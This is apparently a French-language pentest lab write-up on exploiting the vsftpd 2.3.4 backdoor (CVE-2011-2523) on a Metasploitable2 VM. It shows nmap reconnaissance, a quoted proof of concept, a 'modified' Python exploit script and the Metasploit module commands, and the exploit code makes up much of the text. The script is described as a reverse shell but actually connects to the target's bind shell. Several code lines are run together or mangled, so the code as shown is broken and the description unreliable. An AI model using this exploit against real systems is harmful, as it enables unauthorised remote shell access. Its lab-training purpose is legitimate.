
Guide d'exploitation manuelle et automatisée pour la backdoor vsftpd 2.3.4 (CVE-2011-2523) avec payload reverse shell personnalisé et intégration Metasploit pour la formation en test de pénétration.
Ce sont des notes pour la création de la méthodologie d'attaque dans un environnement contrôlé. On part du principe que l'exercice est en boîte noire, donc je ne connais pas d'informations sur le système victime.
1- télécharger les ISO nécessaires, à la fois metaexplotable2 et kali ou tout autre
2- important, l'environnement est configuré avec vmware, donc les deux machines doivent être exécutées dans cet hyperviseur
3- le processus initial consiste à obtenir une ip pour vérifier qu'il existe une connexion entre les deux points
4- utiliser nmap sV Pn 192.168.253.128 une fois que nous avons effectué la reconnaissance, nous trouvons plusieurs ports
21 ftp vsftpd 2.3.4
Dans le cadre de l'entraînement, on vise à attaquer chaque port pour obtenir un accès de multiples façons. Nous commençons avec le port suivant.
On essaiera de réaliser une situation de boîte noire afin de pouvoir résoudre ou simuler des conditions réelles autant que possible.
On commence par l'utilisation de nmap -Pn -sV 10.0.2.5
nous cherchons dans les bases de données publiques et nous trouvons CVE-2011-2523 qui est un backdoor et nous allons essayer de l'exploiter pour accéder à la machine victime.
il faut d'abord comprendre qu'il existe un backdoor dans l'exploitation qui sera réalisée dans ce cas particulier.
en essayant de trouver comment vulnérabiliser ce système via la vulnérabilité existante, on trouve des informations sur packetstorm.news. Un POC est présenté qui prouve qu'on peut l'exploiter mais il n'est pas entièrement fonctionnel comme on peut le voir dans le code suivant :
#!/usr/bin/python3
from telnetlib import Telnet import argparse from signal import signal, SIGINT from sys import exit
def handler(signal_received, frame): # Handle any cleanup here print(' [+]Exiting...') exit(0)
signal(SIGINT, handler)
parser=argparse.ArgumentParser()
parser.add_argument("host", help="input the address of the vulnerable host", type=str)
args = parser.parse_args()
host = args.host
portFTP = 21 #if necessary edit this line
user="USER nergal:)" password="PASS pass"
tn=Telnet(host, portFTP) tn.read_until(b"(vsFTPd 2.3.4)") #if necessary, edit this line tn.write(user.encode('ascii') + b"\n") tn.read_until(b"password.") #if necessary, edit this line tn.write(password.encode('ascii') + b"\n")
tn2=Telnet(host, 6200)
print('Success, shell opened')
print('Send exit to quit shell')
tn2.interact()
Ce qui, en lisant le code, permet de comprendre qu'il s'agit de prouver que c'est possible, mais pas d'en faire un script fonctionnel. C'est pourquoi, pour des pratiques plus réalistes, j'ai apporté une modification substantielle pour qu'il dispose d'un shell inversé permettant un accès plus adéquat dès l'exécution du code. La modification du code a conduit au résultat suivant :
#!/usr/bin/env python3
import socket import sys import time
def connect_ftp(host, port=21): try: s = socket.socket() s.connect((host, port)) banner = s.recv(1024).decode(errors='ignore') print(f"[+] FTP Banner: {banner.strip()}")
# Enviar payload del backdoor
s.sendall(b'USER backdoor:)\r\n')
time.sleep(0.5)
s.sendall(b'PASS whatever\r\n')
time.sleep(0.5)
s.close()
return True
except Exception as e:
print(f"[!] Error conectando al FTP: {e}")
return False
def connect_backdoor_shell(host, port=6200): try: print(f"[+] Intentando conectar con la shell backdoor en {host}:{port}...") shell = socket.socket() shell.settimeout(3) shell.connect((host, port)) print("[+] ¡Shell obtenida!")
while True:
cmd = input("shell> ")
if cmd.strip().lower() == "exit":
break
shell.sendall((cmd + "\n").encode())
# Lee todos los datos disponibles hasta timeout
output = b""
while True:
try:
chunk = shell.recv(4096)
if not chunk:
break
output += chunk
# Espera un poco para ver si hay más datos
time.sleep(0.1)
except socket.timeout:
break
if output:
print(output.decode(errors='ignore'))
else:
print("[!] Sin respuesta del shell.")
shell.close()
except Exception as e:
print(f"[!] Falló al conectar con la shell: {e}")
if name == "main": if len(sys.argv) != 2: print(f"Uso: {sys.argv[0]} ") sys.exit(1)
target_ip = sys.argv[1]
if connect_ftp(target_ip):
time.sleep(1) # Da tiempo al backdoor para abrir el puerto
connect_backdoor_shell(target_ip)
else:
print("[!] No se pudo conectar o el objetivo no parece vulnerable.")
Par conséquent, on peut comprendre que cela peut être une manière manuelle alambiquée d'aborder cet exemple, mais il s'agit de créer diverses options pour pouvoir grandir dans le milieu de la sécurité informatique et améliorer ses compétences.
L'autre méthode que l'on peut utiliser est d'employer metasploit de la manière suivante
msfconsole use exploit/unix/ftp/vsftpd_234_backdoor set RHOSTS 10.0.2.5 run
comme on le comprend, les deux font exactement la même chose, seulement l'un est déjà automatisé et l'autre est un processus plus manuel.